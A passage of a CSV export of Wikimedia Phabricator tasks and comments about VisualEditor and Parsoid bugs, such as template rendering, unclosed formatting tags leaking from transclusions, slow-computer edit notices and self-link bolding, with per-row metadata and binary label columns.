+For future reference, here's a copy Jalexander's screenshot above: {F117777}",,,1429479438,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,True,,,93,,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,1,0,0
+246261,VisualEditor: {{clear}} template phantom generated too large,*** Bug 52431 has been marked as a duplicate of this bug. ***,,,1395360523,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,True,,,37,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246254,VisualEditor: {{clear}} template phantom generated too large,*** Bug 51872 has been marked as a duplicate of this bug. ***,,,1377830855,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,True,,,8,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+246248,VisualEditor: {{clear}} template phantom generated too large,"Covers most of the box appears to be for latest chrome (what I have). Other report below from FF:
+
+http://i.imgur.com/rAJqIsa.png from FF23 (huge, on top of whole quote box and appears to be pushing other content away too)",,,1372739147,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-32cvx6zgypptrjsr7sri,task_subcomment,,True,c1,3,False,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0
+52548,Direct link in revision history to report VisualEditor errors for specific change,"https://en.wikipedia.org/w/index.php?title=Colorado_River&diff=562465192&oldid=562442392
+
+When I go here, I have several options for what I can do with the edit:
+
+> Revision as of 19:24, 1 July 2013 (edit) (undo) (thank)
+
+I'd like another option that says ""(this edit was made with VisualEditor and introduced a problem; report it here)"" or something like that. A JavaScript gadget would be dandy, but I'm not picky about the implementation details.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement",Low,25.0,1372734540,1729515165.0,PHID-USER-hyfm4swq76s4j642w46x,False,PHID-USER-wkpnidxoctuhawexig5p,False,PHID-TASK-clyi3kkewgt6by3dskxa,task_description,declined,True,c1,3,False,False,False,0,,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+2438664,Direct link in revision history to report VisualEditor errors for specific change,"This is probably not needed these days. VisualEditor no longer introduces errors in articles, certainly not at a rate that would demand a prominent action to report them.",,,1729515165,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-clyi3kkewgt6by3dskxa,task_subcomment,,True,c1,3,True,,,590,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0
+246096,Direct link in revision history to report VisualEditor errors for specific change,"Rephrasing summary to reflect what the report is about (""Make it easier"" is vague and impossible to define when it's fixed).",,,1372760577,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-clyi3kkewgt6by3dskxa,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0
+52537,"VisualEditor: ""Drag to move image"" is buggy in Safari 6","Screenshot of oddly collapsed resizable area
+
+Not sure whether it is specific to Safari 6 but it seems a bit buggy.
+
+Sometimes when holding down the mouse button the cursor won't change from a  ""move"" cursor to a ""drag/add"" cursor (as if it is a regular hover, ""move"" until it hits the edge of the image and then becomes a regular pointer).
+
+Also when dragging and dropping sometimes it seems to separate the image itself and the thumb container is left behind (!).
+
+When resizing it seems to sometimes (sorry, can't be move specific yet) collapse into a single dot (see screenshot).
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+
+**Attached**: {F11549}",Low,25.0,1372721760,1385379064.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-7b3ttjryq7h2dwfsiked,task_description,resolved,True,c1,3,True,False,False,0,,0,0,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,0,0,0,1,1,1,1,0,1,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,0,0
+245179,"VisualEditor: ""Drag to move image"" is buggy in Safari 6",Seems to now be fixed.,,,1385379064,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-7b3ttjryq7h2dwfsiked,task_subcomment,,True,c1,3,True,,,21,,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+245172,"VisualEditor: ""Drag to move image"" is buggy in Safari 6","Created attachment 12723
+Screenshot of misplaced image inspector
+
+It also seems to take about a second for it to apply when releasing the mouse, so the user can continue to drag it else where and then after about 2 seconds into the second drag the image moves back and actually moves to where the first drag put it. It is at this point that the inspector stays behind when dropping near another image (see screenshot).
+
+**Attached**: {F11550}",,,1372721910,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-7b3ttjryq7h2dwfsiked,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,1,1,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,0,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+52536,Unclosed formatting elements leaking out of transclusions,"http://parsoid.wmflabs.org/en/User:Adjwilley/sandbox10?oldid=562331693
+
+Relevant wikitext:
+
+*{{Cite book| last=Fádil-i-Mázindarání | first= Asadu'lláh | authorlink = Mírzá Asadu’llah Fádil Mázandarání | year=1967 | title=Asráu'l-Á<u>th<u>ár, Vol.I| pages= 453 | publisher=Bahá'í Publishing Trust, Tehran | url = http://www.h-net.org/~bahai/areprint/authors/mazandarani/asrar.htm | ref=harv}}
+
+(note the <u> isn't opened then closed, but double-opened)
+
+Output HTML (with data-*, about and a few others stripped):
+
+<li><span typeof=""mw:Transclusion""><a rel=""mw:WikiLink"" href=""..."">Fádil-i-Mázindarání, Asadu'lláh</a> (1967). <a rel=""mw:ExtLink"" href=""...""><i>Asráu'l-Á<u>th<u>ár, Vol.I</u></u></i></a><u><u>. Bahá'í Publishing Trust, Tehran. p.<span typeof=""mw:Entity"">&nbsp;</span>453.</u></u></span><u><u><span class=""Z3988""><span style=""display:none;""><span typeof=""mw:Entity"">&nbsp;</span></span></span></u></u></li><u><u>
+
+<li>(next item here, note how we're still inside of <u><u>)
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Low,25.0,1372721640,1590072108.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-slccyo5rqasgpljxny7g,False,PHID-TASK-tl2v542il5zhvqmae5zl,task_description,resolved,True,c1,3,False,False,False,0,,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+1508817,Unclosed formatting elements leaking out of transclusions,"Parsoid output and core output matches on this at this point since we are all in a HTML5 post-Tidy world. 
+
+```
+[subbu@earth:~/work/wmf/parsoid] echo '<ul><li>{{1x|<u>}}</li><li>foo</li></ul>' | php bin/parse.php --normalize
+<ul>
+<li><u></u></li>
+<li><u>foo</u></li>
+</ul>
+
+[subbu@earth:~/work/wmf/parsoid] echo '<ul><li><u></li><li>foo</li></ul>' | php ../mediawiki/maintenance/parse.php
+<ul><li><u></u></li><li><u>foo</u></li></ul><p><u>
+</u></p>
+```
+
+Here is Parsoid's unnormalized output and wt2wt resluts:
+```
+[subbu@earth:~/work/wmf/parsoid] echo '<ul><li>{{1x|<u>}}</li><li>foo</li></ul>' | php bin/parse.php --body_only
+<ul data-parsoid='{""stx"":""html"",""dsr"":[0,40,4,5]}'><li data-parsoid='{""stx"":""html"",""dsr"":[4,23,4,5]}'><u about=""#mwt1"" typeof=""mw:Transclusion"" data-parsoid='{""stx"":""html"",""autoInsertedEnd"":true,""dsr"":[8,18,null,null],""pi"":[[{""k"":""1""}]]}' data-mw='{""parts"":[{""template"":{""target"":{""wt"":""1x"",""href"":""./Template:1x""},""params"":{""1"":{""wt"":""&lt;u>""}},""i"":0}}]}'></u></li><li data-parsoid='{""stx"":""html"",""dsr"":[23,35,4,5]}'><u data-parsoid='{""stx"":""html"",""autoInsertedEnd"":true,""autoInsertedStart"":true,""dsr"":[27,30,0,0]}'>foo</u></li></ul>
+
+[subbu@earth:~/work/wmf/parsoid] echo '<ul><li>{{1x|<u>}}</li><li>foo</li></ul>' | php bin/parse.php --wt2wt
+<ul><li>{{1x|<u>}}</li><li>foo</li></ul>
+```
+As for the formatting leaking out of transclusions, the tree builder doesn't care about transclusion boundaries and it is unclear how much we ought to worry about it. Selser will still prevent that leakage from serializing back in most cases, but yes, if some of that content is edited, it will cause some minor dirty diffs.
+
+We aren't going to add extra complexity to identify these leaked formatting elements and then expand the scope of the template (likely by migrating the meta-end tag to a different place in the DOM tree).
+
+Since we have the Linter flagging ""syntax  errors"" like this ( https://www.mediawiki.org/wiki/Help:Lint_errors/multiple-unclosed-formatting-tags ), I am inclined to call this resolved since the best strategy here is to fix the wikitext lint errors.",,,1590072108,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,359,,1,0,0,0,0,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+333115,Unclosed formatting elements leaking out of transclusions,Is this still an issue? Last activity was 12 months ago…,,,1416945130,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,73,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+245134,Unclosed formatting elements leaking out of transclusions,"Re-titling to reflect our plan [1] to avoid the leaking and match PHP parser semantics instead.,
+
+[1]: https://www.mediawiki.org/wiki/Parsoid/DOM_notes",,,1386112099,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,22,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1
+245129,Unclosed formatting elements leaking out of transclusions,"https://www.mediawiki.org/w/index.php?title=VisualEditor/Basic_example_worksheet&oldid=751458&veaction=edit
+
+""Foo <tt>bar<tt>\n == Heading == * Lists""",,,1375204287,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,4,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,1
+245125,Unclosed formatting elements leaking out of transclusions,"Change 73369 had a related patch set uploaded by Subramanya Sastry:
+WIP: (Bug 50536) Improved handling of tree-builder fixup
+
+https://gerrit.wikimedia.org/r/73369",,,1373586328,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,False,,,1,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+245122,Unclosed formatting elements leaking out of transclusions,"The template encapsulation does not catch all template-affected content, so is not correct really. Alternatively we should be able to undo the leak to match the PHP parser's semantics. That would remove the need for extending the encapsulation in this case.",,,1373576627,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+245118,Unclosed formatting elements leaking out of transclusions,"No, the tpl encapsulation looks correct to me.  The tree builder correction in this case is quite broad and it would be hard to detect auto-correction as well.  On this last example, there are no autoInserted* flags except on the innermost <u> tag.  As long as we are using a html5 compliant tree builder, our options are a little limited on this kind of html without doing more complicated tracking/analyses.  I am not convinced those are worth the trouble and headaches.",,,1373053934,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,0,,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,1,1,1,0,1
+245116,Unclosed formatting elements leaking out of transclusions,"Since this is a plain transclusion this is pretty much the behavior I would expect. The formatting is processed in accordance with the HTML spec.
+
+I suspect tidy has a heuristic that closes the <u> at some point in contrast with the HTML spec.
+
+Something that looks broken on the Parsoid side is the missing encapsulation for formatting that spans list items:
+
+echo '<ul><li>{{echo|<u>}}</li><li>foo</li></ul>' | node parse
+<body><ul>
+  <li><u about=""#mwt1"" typeof=""mw:Transclusion"" data-mw='{""target"":{""wt"":""echo"",""href"":""./Template:Echo""},""params"":{""1"":{""wt"":""<u>""}},""i"":0}'></u></li>
+  <li><u>foo</u></li>
+</ul>
+<u>
+</u></body>
+
+(reformatted the above a bit and removed data-parsoid for clarity)
+
+We should in theory be able to detect that the leaked <u>s were completely auto-inserted by the treebuilder. Maybe we can use that information to extend the encapsulation for cases like this one.",,,1372727019,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,True,,,0,,1,1,1,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+245114,Unclosed formatting elements leaking out of transclusions,Diff showing resulting VE breakage: https://en.wikipedia.org/w/index.php?title=User:Adjwilley/sandbox10&curid=38366631&diff=562462441&oldid=562331693 . I'm not sure if the categories being dropped is on the VE or Parsoid side yet.,,,1372721716,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-tl2v542il5zhvqmae5zl,task_subcomment,,True,c1,3,False,,,0,,0,0,0,1,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0
+52518,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"There should be an edit notice whenever someone tries to use VE which says something like ""Slower computers or users trying to use older markup should try editing in the older Editor."" and link to the older editor. Otherwise we're directly cutting off plenty of editors who can't figure it out, and would have relatively slow internet.
+
+P.S. My internet is slow enough to not give a satisfactory VE experience, and I consider myself to have decent Indian speed internets
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1372710300,,PHID-USER-65pjzcmoby2fsgzdrfjq,False,,False,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_description,open,True,c1,3,False,False,,0,,0,1,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+244031,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"Change 135046 abandoned by Alex Monk:
+Attempt to detect slow machines and show an edit notice
+
+Reason:
+This is seemingly impossible for me to get right, and just not worth the effort
+
+https://gerrit.wikimedia.org/r/135046",,,1401411908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,False,,,47,,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,0,0,0,0
+244028,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"Change 135046 had a related patch set uploaded by Alex Monk:
+Attempt to detect slow machines and show an edit notice
+
+https://gerrit.wikimedia.org/r/135046",,,1400859196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,False,,,46,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+244022,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"We discussed how to do this in #mediawiki-visualeditor a bit. Some quotes:
+
+<Krinkle> when a certain amount of time has passed (potentially taking the document complexity in account as well, avoid measuring network by accident), set a boolean flag, which in getEditnotices() will make it include/exclude that notice accordingly
+<Krenair> I'm wondering what operation we should measure and what timing shows a reasonable speed
+<Krinkle> Krenair: one or more of the actions in the setup of the surface (parsing of html into data DOM, conversion to linenar data model, building of CE etc.)
+
+<Krenair> but those operations will all take different times depending on document length/complexity :/
+<Krinkle> Krenair: Yes, but avoiding I mean, taking into account
+<Krinkle> e.g. not `timespend > maxtime`, but something like `timespent/doc-size > maxratio`
+<Krinkle> RoanKattouw might have some math ideas that are more useful
+<Krinkle> However, we should probably do some research and see how slow the 'too slow' browsers really are.
+<Krinkle> We might be able to measure it with a very simple operation at a small scale (e.g. create an iframe and attach it, just a random unused iframe), that that one operation is measurable enough, we can do it that way.
+<Krenair> Hm. This is getting increasingly out of the 'MediaWiki integration' part
+<Krinkle> The function calls are all in viewpagetarget in setupSurface
+<Krinkle> though ideally this would probably be in ve-core, seems a useful statistis
+
+Roan, could you comment on this when you have time please?",,,1399321807,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,44,,1,1,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,0,0,1,0,1,1,1,0,0,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+244015,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,Timo thinks we can measure performance and display an edit notice if it's slow.,,,1398879851,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,43,,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0
+244008,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"The plan is to get rid of the beta welcome dialog relatively soon (in the next few months), however…",,,1398792650,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,43,,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+244001,Add a notice on load for users of slower computers advising them to use source mode instead of VisualEditor,"So we already have the beta welcome dialog, I think we should add something like ""Users of slow computers should consider doing this."" after the ""You can keep using the wikitext editor by clicking the ""Edit source"" tab instead – unsaved changes will be lost.""",,,1398792405,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-wyt43e5vzv4rp23bx4s7,task_subcomment,,True,c1,3,True,,,43,,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,0,0,1,0,1,0
+52497,VisualEditor: Links to current page should show as bold,"When I add a link to the title of the page, it is displayed as a normal link instead of a <strong class=""selflink"">.
+
+Same problem while editing a page with a 'selflink' already present.
+
+The contributor doesn’t see the article as it will be after saving.",Low,25.0,1372684440,1490885389.0,PHID-USER-5pyvkdz65d5h5vxebodc,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-75qcblrq4xxtwfp5s76f,task_description,resolved,True,c1,3,False,False,False,0,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,1
+834514,VisualEditor: Links to current page should show as bold,"Change 345526 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Follow-up I88d45aad2: Fix selflink detection
+
+[[https://gerrit.wikimedia.org/r/345526]]
+",,,1490882209,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+834429,VisualEditor: Links to current page should show as bold,"Change 345526 had a related patch set uploaded (by Esanders):
+[mediawiki/extensions/VisualEditor@master] Follow-up I88d45aad2: Fix selflink detection
+
+[[https://gerrit.wikimedia.org/r/345526]]
+",,,1490871596,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+834380,VisualEditor: Links to current page should show as bold,"Change 342084 merged by jenkins-bot:
+[mediawiki/extensions/VisualEditor@master] Render self-links as if they were <strong>s
+
+[[https://gerrit.wikimedia.org/r/342084]]
+",,,1490865420,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+834377,VisualEditor: Links to current page should show as bold,"Change 341775 abandoned by Esanders:
+Render self-links as <strong class=""selflink"">, not <a ...>
+
+Reason:
+See I88d45aad2aaa45e71b433350986b19764603a1f2
+
+[[https://gerrit.wikimedia.org/r/341775]]",,,1490864792,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-75qcblrq4xxtwfp5s76f,task_subcomment,,True,c1,3,False,,,195,,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+834376,VisualEditor: Links to current page should show as bold,"Change 341774 abandoned by Esanders:
+Allow links to be constructed with custom elements
+
+Reason:
+See I88d45aad2aaa45e71b433350986b19764603a1f2
+
